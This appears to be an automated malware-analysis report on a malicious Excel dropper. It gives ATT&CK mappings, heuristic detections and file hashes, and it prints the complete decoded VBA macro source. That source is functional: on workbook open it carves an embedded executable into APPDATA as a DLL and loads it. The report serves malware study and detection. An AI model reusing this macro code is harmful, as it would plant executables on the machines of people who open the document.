MALICIOUS
336
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is an Excel document containing VBA macros that are triggered by the Workbook_Open event. These macros are designed to extract and execute an embedded PE executable. The script also attempts to copy a DLL to the APPDATA directory, likely for persistence or further payload delivery. The presence of the embedded PE executable and the VBA auto-execution strongly indicate a malicious dropper.
Heuristics 10
-
ClamAV: Xls.Dropper.Mrrk-7165692-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Mrrk-7165692-0
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set oApp = CreateObject("Shell.Application") oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() ExecuteExcel4Macro "MESSAGE(False, ""Release"")" -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ExecuteExcel4Macro "MESSAGE(False, ""Release"")" ChDir (Environ("TEMP")) UserForm1.Show -
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4156 bytes |
SHA-256: 84a27d05a3c65b65d4c628da6f96459821ba88d7ac253fd2ade3a5b4683f5405 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub
Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Public Sub CreateGifFile()
TempName = Environ("TEMP") & "\13.xlsx"
ZipName = TempName + ".zip"
ZipFolder = Environ("TEMP") '& "\UnzTmp"
Dim size As Long
Dim num As Integer
Dim ADATA As String
Dim nm As String
ADATA = Environ("APPDATA")
#If Win64 Then
nm = ADATA + "\exchange2.dll"
size = 66048
num = 2
#Else
nm = ADATA + "\exchange1.dll"
size = 81920
num = 1
#End If
On Error Resume Next
Kill ZipName
Kill ZipFolder & "\oleObject*.bin"
Kill nm
On Error GoTo 0
ThisWorkbook.Sheets.Copy
Application.DisplayAlerts = False
ActiveWorkbook.SaveAs TempName, FileFormat:=51
ActiveWorkbook.Close
FileCopy TempName, ZipName
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
ChDir (ADATA)
Hwnd = k32LL(nm)
Amway
End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
Dim NewAr() As Long
ReDim NewAr(1 To fl)
NewAr(1) = CByte(77)
NewAr(2) = CByte(90)
NewAr(3) = CByte(144)
intFileNum = FreeFile
Open s For Binary Access Read As intFileNum
Dim cur As Integer
cur = 1
Do While Not EOF(intFileNum)
Get intFileNum, , bytTemp1
If bytTemp1 = NewAr(1) Then
Get intFileNum, , bytTemp2
If bytTemp2 = NewAr(2) Then
Get intFileNum, , bytTemp3
If bytTemp3 = NewAr(3) Then
If cur = num Then
For k = 4 To fl
Get intFileNum, , bytTemp1
NewAr(k) = bytTemp1
Next k
Exit Do
Else
cur = cur + 1
End If
End If
End If
End If
Loop
Close intFileNum
intFileNum = FreeFile
Open nm For Binary Lock Read Write As #intFileNum
For i = LBound(NewAr) To UBound(NewAr)
Put #intFileNum, , CByte(NewAr(i))
Next i
Close #intFileNum
End Sub
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C6DDD3EA-9DB8-4493-AF37-EAA536550A30}{C596E5BB-7099-4B4F-8859-0FF1E5F49662}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
CreateGifFile
End Sub
Attribute VB_Name = "Module2"
#If Win64 Then
Public Declare PtrSafe Function Amway Lib _
"exchange2.dll" () As Integer
Public Declare PtrSafe Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
Public Declare Function Amway Lib _
"exchange1.dll" () As Integer
Public Declare Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#End If
|
|||
embedded_office_00003f62.exe |
embedded-pe | Office MZ+PE at offset 0x3F62 | 325790 bytes |
SHA-256: a68a664a9d5c34e4a80910cef45b85feef2adf1183740294b46cf34697a6c74d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: MBD00DF435B/Ole10Native | 160402 bytes |
SHA-256: bf8fc1738373539cc0f843890c7eedb526d9ca8f20ad11efa18cc491eb842815 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.